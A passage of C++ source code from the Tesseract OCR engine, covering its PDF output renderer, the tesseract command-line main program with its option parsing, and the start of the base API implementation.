if (fontsize <= 0)
fontsize = kDefaultFontsize;
if (fontsize != old_fontsize) {
char textfont[20];
snprintf(textfont, sizeof(textfont), "/f-0-0 %d Tf ", fontsize);
pdf_str += textfont;
old_fontsize = fontsize;
}
}
bool last_word_in_line = res_it->IsAtFinalElement(RIL_TEXTLINE, RIL_WORD);
bool last_word_in_block = res_it->IsAtFinalElement(RIL_BLOCK, RIL_WORD);
STRING pdf_word("");
int pdf_word_len = 0;
do {
const char *grapheme = res_it->GetUTF8Text(RIL_SYMBOL);
if (grapheme && grapheme[0] != '\0') {
// TODO(jbreiden) Do a real UTF-16BE conversion
// http://en.wikipedia.org/wiki/UTF-16#Example_UTF-16_encoding_procedure
string_32 utf32;
CubeUtils::UTF8ToUTF32(grapheme, &utf32);
char utf16[20];
for (int i = 0; i < static_cast<int>(utf32.length()); i++) {
snprintf(utf16, sizeof(utf16), "<%04X>", utf32[i]);
pdf_word += utf16;
pdf_word_len++;
}
}
delete []grapheme;
res_it->Next(RIL_SYMBOL);
} while (!res_it->Empty(RIL_BLOCK) && !res_it->IsAtBeginningOf(RIL_WORD));
if (word_length > 0 && pdf_word_len > 0 && fontsize > 0) {
double h_stretch =
kCharWidth * prec(100.0 * word_length / (fontsize * pdf_word_len));
pdf_str.add_str_double("", h_stretch);
pdf_str += " Tz"; // horizontal stretch
pdf_str += " [ ";
pdf_str += pdf_word; // UTF-16BE representation
pdf_str += " ] TJ"; // show the text
}
if (last_word_in_line) {
pdf_str += " \n";
}
if (last_word_in_block) {
pdf_str += "ET\n"; // end the text object
}
}
char *ret = new char[pdf_str.length() + 1];
strcpy(ret, pdf_str.string());
delete res_it;
return ret;
}
bool TessPDFRenderer::BeginDocumentHandler() {
char buf[kBasicBufSize];
size_t n;
n = snprintf(buf, sizeof(buf),
"%%PDF-1.5\n"
"%%%c%c%c%c\n",
0xDE, 0xAD, 0xBE, 0xEB);
if (n >= sizeof(buf)) return false;
AppendPDFObject(buf);
// CATALOG
n = snprintf(buf, sizeof(buf),
"1 0 obj\n"
"<<\n"
" /Type /Catalog\n"
" /Pages %ld 0 R\n"
">>\n"
"endobj\n", 2L);
if (n >= sizeof(buf)) return false;
AppendPDFObject(buf);
// We are reserving object #2 for the /Pages
// object, which I am going to create and write
// at the end of the PDF file.
AppendPDFObject("");
// TYPE0 FONT
n = snprintf(buf, sizeof(buf),
"3 0 obj\n"
"<<\n"
" /BaseFont /GlyphLessFont\n"
" /DescendantFonts [ %ld 0 R ]\n"
" /Encoding /Identity-H\n"
" /Subtype /Type0\n"
" /ToUnicode %ld 0 R\n"
" /Type /Font\n"
">>\n"
"endobj\n",
4L, // CIDFontType2 font
5L // ToUnicode
);
if (n >= sizeof(buf)) return false;
AppendPDFObject(buf);
// CIDFONTTYPE2
n = snprintf(buf, sizeof(buf),
"4 0 obj\n"
"<<\n"
" /BaseFont /GlyphLessFont\n"
" /CIDToGIDMap /Identity\n"
" /CIDSystemInfo\n"
" <<\n"
" /Ordering (Identity)\n"
" /Registry (Adobe)\n"
" /Supplement 0\n"
" >>\n"
" /FontDescriptor %ld 0 R\n"
" /Subtype /CIDFontType2\n"
" /Type /Font\n"
" /DW %d\n"
">>\n"
"endobj\n",
6L, // Font descriptor
1000 / kCharWidth);
if (n >= sizeof(buf)) return false;
AppendPDFObject(buf);
const char *stream =
"/CIDInit /ProcSet findresource begin\n"
"12 dict begin\n"
"begincmap\n"
"/CIDSystemInfo\n"
"<<\n"
" /Registry (Adobe)\n"
" /Ordering (UCS)\n"
" /Supplement 0\n"
">> def\n"
"/CMapName /Adobe-Identify-UCS def\n"
"/CMapType 2 def\n"
"1 begincodespacerange\n"
"<0000> <FFFF>\n"
"endcodespacerange\n"
"1 beginbfrange\n"
"<0000> <FFFF> <0000>\n"
"endbfrange\n"
"endcmap\n"
"CMapName currentdict /CMap defineresource pop\n"
"end\n"
"end\n";
// TOUNICODE
n = snprintf(buf, sizeof(buf),
"5 0 obj\n"
"<< /Length %lu >>\n"
"stream\n"
"%s"
"endstream\n"
"endobj\n", (unsigned long) strlen(stream), stream);
if (n >= sizeof(buf)) return false;
AppendPDFObject(buf);
// FONT DESCRIPTOR
const int kCharHeight = 2; // Effect: highlights are half height
n = snprintf(buf, sizeof(buf),
"6 0 obj\n"
"<<\n"
" /Ascent %d\n"
" /CapHeight %d\n"
" /Descent -1\n" // Spec says must be negative
" /Flags 5\n" // FixedPitch + Symbolic
" /FontBBox [ 0 0 %d %d ]\n"
" /FontFile2 %ld 0 R\n"
" /FontName /GlyphLessFont\n"
" /ItalicAngle 0\n"
" /StemV 80\n"
" /Type /FontDescriptor\n"
">>\n"
"endobj\n",
1000 / kCharHeight,
1000 / kCharHeight,
1000 / kCharWidth,
1000 / kCharHeight,
7L // Font data
);
if (n >= sizeof(buf)) return false;
AppendPDFObject(buf);
n = snprintf(buf, sizeof(buf), "%s/pdf.ttf", datadir_);
if (n >= sizeof(buf)) return false;
FILE *fp = fopen(buf, "rb");
if (!fp)
return false;
fseek(fp, 0, SEEK_END);
long int size = ftell(fp);
fseek(fp, 0, SEEK_SET);
char *buffer = new char[size];
if (fread(buffer, 1, size, fp) != size) {
fclose(fp);
delete[] buffer;
return false;
}
fclose(fp);
// FONTFILE2
n = snprintf(buf, sizeof(buf),
"7 0 obj\n"
"<<\n"
" /Length %ld\n"
" /Length1 %ld\n"
">>\n"
"stream\n", size, size);
if (n >= sizeof(buf)) return false;
AppendString(buf);
size_t objsize = strlen(buf);
AppendData(buffer, size);
delete[] buffer;
objsize += size;
const char *b2 =
"endstream\n"
"endobj\n";
AppendString(b2);
objsize += strlen(b2);
AppendPDFObjectDIY(objsize);
return true;
}
bool TessPDFRenderer::imageToPDFObj(Pix *pix,
char *filename,
long int objnum,
char **pdf_object,
long int *pdf_object_size) {
size_t n;
char b0[kBasicBufSize];
char b1[kBasicBufSize];
char b2[kBasicBufSize];
if (!pdf_object_size || !pdf_object)
return false;
*pdf_object = NULL;
*pdf_object_size = 0;
if (!filename)
return false;
L_COMP_DATA *cid = NULL;
const int kJpegQuality = 85;
// TODO(jbreiden) Leptonica 1.71 doesn't correctly handle certain
// types of PNG files, especially if there are 2 samples per pixel.
// We can get rid of this logic after Leptonica 1.72 is released and
// has propagated everywhere. Bug discussion as follows.
// https://code.google.com/p/tesseract-ocr/issues/detail?id=1300
int format, sad;
findFileFormat(filename, &format);
if (pixGetSpp(pix) == 4 && format == IFF_PNG) {
pixSetSpp(pix, 3);
sad = pixGenerateCIData(pix, L_FLATE_ENCODE, 0, 0, &cid);
} else {
sad = l_generateCIDataForPdf(filename, pix, kJpegQuality, &cid);
}
if (sad || !cid) {
l_CIDataDestroy(&cid);
return false;
}
const char *group4 = "";
const char *filter;
switch(cid->type) {
case L_FLATE_ENCODE:
filter = "/FlateDecode";
break;
case L_JPEG_ENCODE:
filter = "/DCTDecode";
break;
case L_G4_ENCODE:
filter = "/CCITTFaxDecode";
group4 = " /K -1\n";
break;
case L_JP2K_ENCODE:
filter = "/JPXDecode";
break;
default:
l_CIDataDestroy(&cid);
return false;
}
// Maybe someday we will accept RGBA but today is not that day.
// It requires creating an /SMask for the alpha channel.
// http://stackoverflow.com/questions/14220221
const char *colorspace;
if (cid->ncolors > 0) {
n = snprintf(b0, sizeof(b0),
" /ColorSpace [ /Indexed /DeviceRGB %d %s ]\n",
cid->ncolors - 1, cid->cmapdatahex);
if (n >= sizeof(b0)) {
l_CIDataDestroy(&cid);
return false;
}
colorspace = b0;
} else {
switch (cid->spp) {
case 1:
colorspace = " /ColorSpace /DeviceGray\n";
break;
case 3:
colorspace = " /ColorSpace /DeviceRGB\n";
break;
default:
l_CIDataDestroy(&cid);
return false;
}
}
int predictor = (cid->predictor) ? 14 : 1;
// IMAGE
n = snprintf(b1, sizeof(b1),
"%ld 0 obj\n"
"<<\n"
" /Length %ld\n"
" /Subtype /Image\n",
objnum, (unsigned long) cid->nbytescomp);
if (n >= sizeof(b1)) {
l_CIDataDestroy(&cid);
return false;
}
n = snprintf(b2, sizeof(b2),
" /Width %d\n"
" /Height %d\n"
" /BitsPerComponent %d\n"
" /Filter %s\n"
" /DecodeParms\n"
" <<\n"
" /Predictor %d\n"
" /Colors %d\n"
"%s"
" /Columns %d\n"
" /BitsPerComponent %d\n"
" >>\n"
">>\n"
"stream\n",
cid->w, cid->h, cid->bps, filter, predictor, cid->spp,
group4, cid->w, cid->bps);
if (n >= sizeof(b2)) {
l_CIDataDestroy(&cid);
return false;
}
const char *b3 =
"endstream\n"
"endobj\n";
size_t b1_len = strlen(b1);
size_t b2_len = strlen(b2);
size_t b3_len = strlen(b3);
size_t colorspace_len = strlen(colorspace);
*pdf_object_size =
b1_len + colorspace_len + b2_len + cid->nbytescomp + b3_len;
*pdf_object = new char[*pdf_object_size];
if (!pdf_object) {
l_CIDataDestroy(&cid);
return false;
}
char *p = *pdf_object;
memcpy(p, b1, b1_len);
p += b1_len;
memcpy(p, colorspace, colorspace_len);
p += colorspace_len;
memcpy(p, b2, b2_len);
p += b2_len;
memcpy(p, cid->datacomp, cid->nbytescomp);
p += cid->nbytescomp;
memcpy(p, b3, b3_len);
l_CIDataDestroy(&cid);
return true;
}
bool TessPDFRenderer::AddImageHandler(TessBaseAPI* api) {
size_t n;
char buf[kBasicBufSize];
Pix *pix = api->GetInputImage();
char *filename = (char *)api->GetInputName();
int ppi = api->GetSourceYResolution();
if (!pix || ppi <= 0)
return false;
double width = pixGetWidth(pix) * 72.0 / ppi;
double height = pixGetHeight(pix) * 72.0 / ppi;
// PAGE
n = snprintf(buf, sizeof(buf),
"%ld 0 obj\n"
"<<\n"
" /Type /Page\n"
" /Parent %ld 0 R\n"
" /MediaBox [0 0 %.2f %.2f]\n"
" /Contents %ld 0 R\n"
" /Resources\n"
" <<\n"
" /XObject << /Im1 %ld 0 R >>\n"
" /ProcSet [ /PDF /Text /ImageB /ImageI /ImageC ]\n"
" /Font << /f-0-0 %ld 0 R >>\n"
" >>\n"
">>\n"
"endobj\n",
obj_,
2L, // Pages object
width,
height,
obj_ + 1, // Contents object
obj_ + 2, // Image object
3L); // Type0 Font
if (n >= sizeof(buf)) return false;
pages_.push_back(obj_);
AppendPDFObject(buf);
// CONTENTS
char* pdftext = GetPDFTextObjects(api, width, height);
long pdftext_len = strlen(pdftext);
unsigned char *pdftext_casted = reinterpret_cast<unsigned char *>(pdftext);
size_t len;
unsigned char *comp_pdftext =
zlibCompress(pdftext_casted,
pdftext_len,
&len);
long comp_pdftext_len = len;
n = snprintf(buf, sizeof(buf),
"%ld 0 obj\n"
"<<\n"
" /Length %ld /Filter /FlateDecode\n"
">>\n"
"stream\n", obj_, comp_pdftext_len);
if (n >= sizeof(buf)) {
delete[] pdftext;
lept_free(comp_pdftext);
return false;
}
AppendString(buf);
long objsize = strlen(buf);
AppendData(reinterpret_cast<char *>(comp_pdftext), comp_pdftext_len);
objsize += comp_pdftext_len;
lept_free(comp_pdftext);
delete[] pdftext;
const char *b2 =
"endstream\n"
"endobj\n";
AppendString(b2);
objsize += strlen(b2);
AppendPDFObjectDIY(objsize);
char *pdf_object;
if (!imageToPDFObj(pix, filename, obj_, &pdf_object, &objsize)) {
return false;
}
AppendData(pdf_object, objsize);
AppendPDFObjectDIY(objsize);
delete[] pdf_object;
return true;
}
bool TessPDFRenderer::EndDocumentHandler() {
size_t n;
char buf[kBasicBufSize];
// We reserved the /Pages object number early, so that the /Page
// objects could refer to their parent. We finally have enough
// information to go fill it in. Using lower level calls to manipulate
// the offset record in two spots, because we are placing objects
// out of order in the file.
// PAGES
const long int kPagesObjectNumber = 2;
offsets_[kPagesObjectNumber] = offsets_.back(); // manipulation #1
n = snprintf(buf, sizeof(buf),
"%ld 0 obj\n"
"<<\n"
" /Type /Pages\n"
" /Kids [ ", kPagesObjectNumber);
if (n >= sizeof(buf)) return false;
AppendString(buf);
size_t pages_objsize = strlen(buf);
for (size_t i = 0; i < pages_.size(); i++) {
n = snprintf(buf, sizeof(buf),
"%ld 0 R ", pages_[i]);
if (n >= sizeof(buf)) return false;
AppendString(buf);
pages_objsize += strlen(buf);
}
n = snprintf(buf, sizeof(buf),
"]\n"
" /Count %d\n"
">>\n"
"endobj\n", pages_.size());
if (n >= sizeof(buf)) return false;
AppendString(buf);
pages_objsize += strlen(buf);
offsets_.back() += pages_objsize; // manipulation #2
// INFO
char* datestr = l_getFormattedDate();
n = snprintf(buf, sizeof(buf),
"%ld 0 obj\n"
"<<\n"
" /Producer (Tesseract %s)\n"
" /CreationDate (D:%s)\n"
" /Title (%s)"
">>\n"
"endobj\n", obj_, TESSERACT_VERSION_STR, datestr, title());
lept_free(datestr);
if (n >= sizeof(buf)) return false;
AppendPDFObject(buf);
n = snprintf(buf, sizeof(buf),
"xref\n"
"0 %ld\n"
"0000000000 65535 f \n", obj_);
if (n >= sizeof(buf)) return false;
AppendString(buf);
for (int i = 1; i < obj_; i++) {
n = snprintf(buf, sizeof(buf), "%010ld 00000 n \n", offsets_[i]);
if (n >= sizeof(buf)) return false;
AppendString(buf);
}
n = snprintf(buf, sizeof(buf),
"trailer\n"
"<<\n"
" /Size %ld\n"
" /Root %ld 0 R\n"
" /Info %ld 0 R\n"
">>\n"
"startxref\n"
"%ld\n"
"%%%%EOF\n",
obj_,
1L, // catalog
obj_ - 1, // info
offsets_.back());
if (n >= sizeof(buf)) return false;
AppendString(buf);
return true;
}
} // namespace tesseract
| C++ |
/**********************************************************************
* File: tessedit.cpp (Formerly tessedit.c)
* Description: Main program for merge of tess and editor.
* Author: Ray Smith
* Created: Tue Jan 07 15:21:46 GMT 1992
*
* (C) Copyright 1992, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
// Include automatically generated configuration file if running autoconf
#ifdef HAVE_CONFIG_H
#include "config_auto.h"
#endif
#include <iostream>
#include "allheaders.h"
#include "baseapi.h"
#include "basedir.h"
#include "renderer.h"
#include "strngs.h"
#include "tprintf.h"
#include "openclwrapper.h"
#include "osdetect.h"
/**********************************************************************
* main()
*
**********************************************************************/
int main(int argc, char **argv) {
if ((argc == 2 && strcmp(argv[1], "-v") == 0) ||
(argc == 2 && strcmp(argv[1], "--version") == 0)) {
char *versionStrP;
fprintf(stderr, "tesseract %s\n", tesseract::TessBaseAPI::Version());
versionStrP = getLeptonicaVersion();
fprintf(stderr, " %s\n", versionStrP);
lept_free(versionStrP);
versionStrP = getImagelibVersions();
fprintf(stderr, " %s\n", versionStrP);
lept_free(versionStrP);
#ifdef USE_OPENCL
cl_platform_id platform;
cl_uint num_platforms;
cl_device_id devices[2];
cl_uint num_devices;
char info[256];
int i;
fprintf(stderr, " OpenCL info:\n");
clGetPlatformIDs(1, &platform, &num_platforms);
fprintf(stderr, " Found %d platforms.\n", num_platforms);
clGetPlatformInfo(platform, CL_PLATFORM_NAME, 256, info, 0);
fprintf(stderr, " Platform name: %s.\n", info);
clGetPlatformInfo(platform, CL_PLATFORM_VERSION, 256, info, 0);
fprintf(stderr, " Version: %s.\n", info);
clGetDeviceIDs(platform, CL_DEVICE_TYPE_ALL, 2, devices, &num_devices);
fprintf(stderr, " Found %d devices.\n", num_devices);
for (i = 0; i < num_devices; ++i) {
clGetDeviceInfo(devices[i], CL_DEVICE_NAME, 256, info, 0);
fprintf(stderr, " Device %d name: %s.\n", i+1, info);
}
#endif
exit(0);
}
// Make the order of args a bit more forgiving than it used to be.
const char* lang = "eng";
const char* image = NULL;
const char* outputbase = NULL;
const char* datapath = NULL;
bool noocr = false;
bool list_langs = false;
bool print_parameters = false;
GenericVector<STRING> vars_vec, vars_values;
tesseract::PageSegMode pagesegmode = tesseract::PSM_AUTO;
int arg = 1;
while (arg < argc && (outputbase == NULL || argv[arg][0] == '-')) {
if (strcmp(argv[arg], "-l") == 0 && arg + 1 < argc) {
lang = argv[arg + 1];
++arg;
} else if (strcmp(argv[arg], "--tessdata-dir") == 0 && arg + 1 < argc) {
datapath = argv[arg + 1];
++arg;
} else if (strcmp(argv[arg], "--user-words") == 0 && arg + 1 < argc) {
vars_vec.push_back("user_words_file");
vars_values.push_back(argv[arg + 1]);
++arg;
} else if (strcmp(argv[arg], "--user-patterns") == 0 && arg + 1 < argc) {
vars_vec.push_back("user_patterns_file");
vars_values.push_back(argv[arg + 1]);
++arg;
} else if (strcmp(argv[arg], "--list-langs") == 0) {
noocr = true;
list_langs = true;
} else if (strcmp(argv[arg], "-psm") == 0 && arg + 1 < argc) {
pagesegmode = static_cast<tesseract::PageSegMode>(atoi(argv[arg + 1]));
++arg;
} else if (strcmp(argv[arg], "--print-parameters") == 0) {
noocr = true;
print_parameters = true;
} else if (strcmp(argv[arg], "-c") == 0 && arg + 1 < argc) {
// handled properly after api init
++arg;
} else if (image == NULL) {
image = argv[arg];
} else if (outputbase == NULL) {
outputbase = argv[arg];
}
++arg;
}
if (argc == 2 && strcmp(argv[1], "--list-langs") == 0) {
list_langs = true;
noocr = true;
}
if (outputbase == NULL && noocr == false) {
fprintf(stderr, "Usage:\n %s imagename|stdin outputbase|stdout "
"[options...] [configfile...]\n\n", argv[0]);
fprintf(stderr, "OCR options:\n");
fprintf(stderr, " --tessdata-dir /path\tspecify the location of tessdata"
" path\n");
fprintf(stderr, " --user-words /path/to/file\tspecify the location of user"
" words file\n");
fprintf(stderr, " --user-patterns /path/to/file\tspecify the location of"
" user patterns file\n");
fprintf(stderr, " -l lang[+lang]\tspecify language(s) used for OCR\n");
fprintf(stderr, " -c configvar=value\tset value for control parameter.\n"
"\t\t\tMultiple -c arguments are allowed.\n");
fprintf(stderr, " -psm pagesegmode\tspecify page segmentation mode.\n");
fprintf(stderr, "These options must occur before any configfile.\n\n");
fprintf(stderr,
"pagesegmode values are:\n"
" 0 = Orientation and script detection (OSD) only.\n"
" 1 = Automatic page segmentation with OSD.\n"
" 2 = Automatic page segmentation, but no OSD, or OCR\n"
" 3 = Fully automatic page segmentation, but no OSD. (Default)\n"
" 4 = Assume a single column of text of variable sizes.\n"
" 5 = Assume a single uniform block of vertically aligned text.\n"
" 6 = Assume a single uniform block of text.\n"
" 7 = Treat the image as a single text line.\n"
" 8 = Treat the image as a single word.\n"
" 9 = Treat the image as a single word in a circle.\n"
" 10 = Treat the image as a single character.\n\n");
fprintf(stderr, "Single options:\n");
fprintf(stderr, " -v --version: version info\n");
fprintf(stderr, " --list-langs: list available languages for tesseract "
"engine. Can be used with --tessdata-dir.\n");
fprintf(stderr, " --print-parameters: print tesseract parameters to the "
"stdout.\n");
exit(1);
}
if (outputbase != NULL && strcmp(outputbase, "-") &&
strcmp(outputbase, "stdout")) {
tprintf("Tesseract Open Source OCR Engine v%s with Leptonica\n",
tesseract::TessBaseAPI::Version());
}
PERF_COUNT_START("Tesseract:main")
tesseract::TessBaseAPI api;
api.SetOutputName(outputbase);
int rc = api.Init(datapath, lang, tesseract::OEM_DEFAULT,
&(argv[arg]), argc - arg, &vars_vec, &vars_values, false);
if (rc) {
fprintf(stderr, "Could not initialize tesseract.\n");
exit(1);
}
char opt1[255], opt2[255];
for (arg = 0; arg < argc; arg++) {
if (strcmp(argv[arg], "-c") == 0 && arg + 1 < argc) {
strncpy(opt1, argv[arg + 1], 255);
char *p = strchr(opt1, '=');
if (!p) {
fprintf(stderr, "Missing = in configvar assignment\n");
exit(1);
}
*p = 0;
strncpy(opt2, strchr(argv[arg + 1], '=') + 1, 255);
opt2[254] = 0;
++arg;
if (!api.SetVariable(opt1, opt2)) {
fprintf(stderr, "Could not set option: %s=%s\n", opt1, opt2);
}
}
}
if (list_langs) {
GenericVector<STRING> languages;
api.GetAvailableLanguagesAsVector(&languages);
fprintf(stderr, "List of available languages (%d):\n",
languages.size());
for (int index = 0; index < languages.size(); ++index) {
STRING& string = languages[index];
fprintf(stderr, "%s\n", string.string());
}
api.End();
exit(0);
}
if (print_parameters) {
FILE* fout = stdout;
fprintf(stdout, "Tesseract parameters:\n");
api.PrintVariables(fout);
api.End();
exit(0);
}
// We have 2 possible sources of pagesegmode: a config file and
// the command line. For backwards compatability reasons, the
// default in tesseract is tesseract::PSM_SINGLE_BLOCK, but the
// default for this program is tesseract::PSM_AUTO. We will let
// the config file take priority, so the command-line default
// can take priority over the tesseract default, so we use the
// value from the command line only if the retrieved mode
// is still tesseract::PSM_SINGLE_BLOCK, indicating no change
// in any config file. Therefore the only way to force
// tesseract::PSM_SINGLE_BLOCK is from the command line.
// It would be simpler if we could set the value before Init,
// but that doesn't work.
if (api.GetPageSegMode() == tesseract::PSM_SINGLE_BLOCK)
api.SetPageSegMode(pagesegmode);
if (pagesegmode == tesseract::PSM_AUTO_ONLY ||
pagesegmode == tesseract::PSM_OSD_ONLY) {
int ret_val = 0;
Pix* pixs = pixRead(image);
if (!pixs) {
fprintf(stderr, "Cannot open input file: %s\n", image);
exit(2);
}
api.SetImage(pixs);
if (pagesegmode == tesseract::PSM_OSD_ONLY) {
OSResults osr;
if (api.DetectOS(&osr)) {
int orient = osr.best_result.orientation_id;
int script_id = osr.get_best_script(orient);
float orient_oco = osr.best_result.oconfidence;
float orient_sco = osr.best_result.sconfidence;
tprintf("Orientation: %d\nOrientation in degrees: %d\n" \
"Orientation confidence: %.2f\n" \
"Script: %d\nScript confidence: %.2f\n",
orient, OrientationIdToValue(orient), orient_oco,
script_id, orient_sco);
} else {
ret_val = 1;
}
} else {
tesseract::Orientation orientation;
tesseract::WritingDirection direction;
tesseract::TextlineOrder order;
float deskew_angle;
tesseract::PageIterator* it = api.AnalyseLayout();
if (it) {
it->Orientation(&orientation, &direction, &order, &deskew_angle);
tprintf("Orientation: %d\nWritingDirection: %d\nTextlineOrder: %d\n" \
"Deskew angle: %.4f\n",
orientation, direction, order, deskew_angle);
} else {
ret_val = 1;
}
delete it;
}
pixDestroy(&pixs);
exit(ret_val);
}
bool b;
tesseract::PointerVector<tesseract::TessResultRenderer> renderers;
api.GetBoolVariable("tessedit_create_hocr", &b);
if (b) {
bool font_info;
api.GetBoolVariable("hocr_font_info", &font_info);
renderers.push_back(new tesseract::TessHOcrRenderer(outputbase, font_info));
}
api.GetBoolVariable("tessedit_create_pdf", &b);
if (b) {
renderers.push_back(new tesseract::TessPDFRenderer(outputbase,
api.GetDatapath()));
}
api.GetBoolVariable("tessedit_write_unlv", &b);
if (b) renderers.push_back(new tesseract::TessUnlvRenderer(outputbase));
api.GetBoolVariable("tessedit_create_boxfile", &b);
if (b) renderers.push_back(new tesseract::TessBoxTextRenderer(outputbase));
api.GetBoolVariable("tessedit_create_txt", &b);
if (b) renderers.push_back(new tesseract::TessTextRenderer(outputbase));
if (!renderers.empty()) {
// Since the PointerVector auto-deletes, null-out the renderers that are
// added to the root, and leave the root in the vector.
for (int r = 1; r < renderers.size(); ++r) {
renderers[0]->insert(renderers[r]);
renderers[r] = NULL;
}
if (!api.ProcessPages(image, NULL, 0, renderers[0])) {
fprintf(stderr, "Error during processing.\n");
exit(1);
}
}
PERF_COUNT_END
return 0; // Normal exit
}
| C++ |
/**********************************************************************
* File: baseapi.cpp
* Description: Simple API for calling tesseract.
* Author: Ray Smith
* Created: Fri Oct 06 15:35:01 PDT 2006
*
* (C) Copyright 2006, Google Inc.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
// Include automatically generated configuration file if running autoconf.
#ifdef HAVE_CONFIG_H
#include "config_auto.h"
#endif
#ifdef __linux__
#include <signal.h>
#endif
#if defined(_WIN32)
#ifdef _MSC_VER
#include "mathfix.h"
#elif MINGW
// workaround for stdlib.h with -std=c++11 for _splitpath and _MAX_FNAME
#undef __STRICT_ANSI__
#endif // _MSC_VER
#include <stdlib.h>
#include <windows.h>
#include <fcntl.h>
#include <io.h>
#else
#include <dirent.h>
#include <libgen.h>
#include <string.h>
#endif // _WIN32
#include <iostream>
#include <string>
#include <iterator>
#include <fstream>
#include "allheaders.h"
#include "baseapi.h"
#include "resultiterator.h"
#include "mutableiterator.h"
#include "thresholder.h"
#include "tesseractclass.h"
#include "pageres.h"
#include "paragraphs.h"
#include "tessvars.h"
#include "control.h"
#include "dict.h"
#include "pgedit.h"
#include "paramsd.h"
#include "output.h"
#include "globaloc.h"
#include "globals.h"
#include "edgblob.h"
#include "equationdetect.h"
#include "tessbox.h"
#include "makerow.h"
#include "otsuthr.h"
#include "osdetect.h"
#include "params.h"
#include "renderer.h"
#include "strngs.h"
#include "openclwrapper.h"
BOOL_VAR(stream_filelist, FALSE, "Stream a filelist from stdin");
namespace tesseract {
/** Minimum sensible image size to be worth running tesseract. */
const int kMinRectSize = 10;
/** Character returned when Tesseract couldn't recognize as anything. */
const char kTesseractReject = '~';
/** Character used by UNLV error counter as a reject. */
const char kUNLVReject = '~';
/** Character used by UNLV as a suspect marker. */
const char kUNLVSuspect = '^';
/**
* Filename used for input image file, from which to derive a name to search
* for a possible UNLV zone file, if none is specified by SetInputName.
*/
const char* kInputFile = "noname.tif";
/**
* Temp file used for storing current parameters before applying retry values.
*/
const char* kOldVarsFile = "failed_vars.txt";
/** Max string length of an int. */
const int kMaxIntSize = 22;
/**
* Minimum believable resolution. Used as a default if there is no other
* information, as it is safer to under-estimate than over-estimate.
*/
const int kMinCredibleResolution = 70;
/** Maximum believable resolution. */
const int kMaxCredibleResolution = 2400;
TessBaseAPI::TessBaseAPI()
: tesseract_(NULL),
osd_tesseract_(NULL),
equ_detect_(NULL),
// Thresholder is initialized to NULL here, but will be set before use by:
// A constructor of a derived API, SetThresholder(), or
// created implicitly when used in InternalSetImage.
thresholder_(NULL),
paragraph_models_(NULL),
block_list_(NULL),
page_res_(NULL),
input_file_(NULL),
input_image_(NULL),
output_file_(NULL),
datapath_(NULL),
language_(NULL),
last_oem_requested_(OEM_DEFAULT),
recognition_done_(false),
truth_cb_(NULL),
rect_left_(0), rect_top_(0), rect_width_(0), rect_height_(0),
image_width_(0), image_height_(0) {
}
TessBaseAPI::~TessBaseAPI() {
End();
}
/**
* Returns the version identifier as a static string. Do not delete.
*/
const char* TessBaseAPI::Version() {
return TESSERACT_VERSION_STR;
}
/**
* If compiled with OpenCL AND an available OpenCL
* device is deemed faster than serial code, then
* "device" is populated with the cl_device_id
* and returns sizeof(cl_device_id)
* otherwise *device=NULL and returns 0.
*/
#ifdef USE_OPENCL
#if USE_DEVICE_SELECTION
#include "opencl_device_selection.h"
#endif
#endif
size_t TessBaseAPI::getOpenCLDevice(void **data) {
#ifdef USE_OPENCL
#if USE_DEVICE_SELECTION
ds_device device = OpenclDevice::getDeviceSelection();
if (device.type == DS_DEVICE_OPENCL_DEVICE) {
*data = reinterpret_cast<void*>(new cl_device_id);
memcpy(*data, &device.oclDeviceID, sizeof(cl_device_id));
return sizeof(cl_device_id);
}
#endif
#endif
*data = NULL;
return 0;
}
/**
* Writes the thresholded image to stderr as a PBM file on receipt of a
* SIGSEGV, SIGFPE, or SIGBUS signal. (Linux/Unix only).
*/
void TessBaseAPI::CatchSignals() {
#ifdef __linux__
struct sigaction action;
memset(&action, 0, sizeof(action));
action.sa_handler = &signal_exit;
action.sa_flags = SA_RESETHAND;
sigaction(SIGSEGV, &action, NULL);
sigaction(SIGFPE, &action, NULL);
sigaction(SIGBUS, &action, NULL);
#else
// Warn API users that an implementation is needed.
tprintf("CatchSignals has no non-linux implementation!\n");
#endif
}
/**
* Set the name of the input file. Needed only for training and
* loading a UNLV zone file.
*/
void TessBaseAPI::SetInputName(const char* name) {
if (input_file_ == NULL)
input_file_ = new STRING(name);
else
*input_file_ = name;
}
/** Set the name of the output files. Needed only for debugging. */
void TessBaseAPI::SetOutputName(const char* name) {
if (output_file_ == NULL)
output_file_ = new STRING(name);
else
*output_file_ = name;
}
bool TessBaseAPI::SetVariable(const char* name, const char* value) {
if (tesseract_ == NULL) tesseract_ = new Tesseract;
return ParamUtils::SetParam(name, value, SET_PARAM_CONSTRAINT_NON_INIT_ONLY,
tesseract_->params());
}
bool TessBaseAPI::SetDebugVariable(const char* name, const char* value) {
if (tesseract_ == NULL) tesseract_ = new Tesseract;
return ParamUtils::SetParam(name, value, SET_PARAM_CONSTRAINT_DEBUG_ONLY,
tesseract_->params());
}
bool TessBaseAPI::GetIntVariable(const char *name, int *value) const {
IntParam *p = ParamUtils::FindParam<IntParam>(
name, GlobalParams()->int_params, tesseract_->params()->int_params);
if (p == NULL) return false;
*value = (inT32)(*p);
return true;
}
bool TessBaseAPI::GetBoolVariable(const char *name, bool *value) const {
BoolParam *p = ParamUtils::FindParam<BoolParam>(
name, GlobalParams()->bool_params, tesseract_->params()->bool_params);
if (p == NULL) return false;
*value = (BOOL8)(*p);
return true;
}
const char *TessBaseAPI::GetStringVariable(const char *name) const {
StringParam *p = ParamUtils::FindParam<StringParam>(
name, GlobalParams()->string_params, tesseract_->params()->string_params);
return (p != NULL) ? p->string() : NULL;
}
bool TessBaseAPI::GetDoubleVariable(const char *name, double *value) const {
DoubleParam *p = ParamUtils::FindParam<DoubleParam>(
name, GlobalParams()->double_params, tesseract_->params()->double_params);
if (p == NULL) return false;
*value = (double)(*p);
return true;
}
